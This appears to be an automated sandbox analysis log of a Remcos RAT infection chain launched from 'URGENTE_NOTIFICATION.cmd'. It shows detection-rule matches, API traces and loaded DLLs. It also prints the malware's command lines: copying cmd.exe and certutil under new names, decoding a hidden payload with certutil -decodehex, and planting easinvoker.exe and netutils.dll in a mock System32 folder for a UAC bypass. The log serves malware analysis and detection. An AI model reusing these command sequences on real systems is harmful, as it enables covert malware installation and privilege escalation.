Source: 00000009.00000002.4117523372.00000000152FB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000019.00000002.2042016371.000000001447B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: C:\Users\Public\Libraries\MywiztwuO.bat, type: DROPPED Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload
Source: classification engine Classification label: mal100.rans.bank.troj.spyw.expl.evad.winCMD@41/21@9/7
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F732B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError, 3_2_00007FF683F732B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596826C GetCurrentThread,GetLastError,#357,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,CloseHandle, 6_2_00007FF66596826C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A7952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 9_2_152A7952
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14567952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 24_2_14567952
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z, 3_2_00007FF683F9FB54
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle, 9_2_1529F474
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C46C0 CoCreateInstance,#357,SysFreeString, 6_2_00007FF6658C46C0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665946320 FindResourceW,GetLastError,#357,LoadResource,GetLastError,LockResource,GetLastError, 6_2_00007FF665946320
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AAC78 OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW, 9_2_152AAC78
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\alpha.exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2564:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03
Source: C:\Users\Public\Libraries\sppsvc.pif Mutant created: \Sessions\1\BaseNamedObjects\Rmc-RFUXJL
Source: C:\Users\Public\Libraries\sppsvc.pif Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\MywiztwuO.bat" "
Source: C:\Users\Public\Libraries\sppsvc.pif Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\System32\extrac32.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Users\Public\alpha.exe Process created: C:\Windows\System32\extrac32.exe extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\Libraries\sppsvc.pif C:\Users\Public\Libraries\sppsvc.pif
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
Source: C:\Users\Public\Libraries\sppsvc.pif Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\MywiztwuO.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\sppsvc.pif Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Mywiztwu.PIF
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
Source: unknown Process created: C:\Users\Public\Libraries\Mywiztwu.PIF "C:\Users\Public\Libraries\Mywiztwu.PIF"
Source: unknown Process created: C:\Users\Public\Libraries\Mywiztwu.PIF "C:\Users\Public\Libraries\Mywiztwu.PIF"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\Libraries\sppsvc.pif C:\Users\Public\Libraries\sppsvc.pif Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del "C:\Users\Public\sppsvc.rtf" / A / F / Q / S Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Windows\System32\extrac32.exe extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\URGENTE_NOTIFICATION.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9 Jump to behavior
Source: C:\Users\Public\alpha.exe Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12 Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\MywiztwuO.bat" " Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Mywiztwu.PIF Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHO F" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\xcopy.exe xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\extrac32.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: certcli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: certca.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: certcli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: certca.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\Public\kn.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: version.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: url.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: userenv.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: netutils.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: endpointdlp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: eamsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
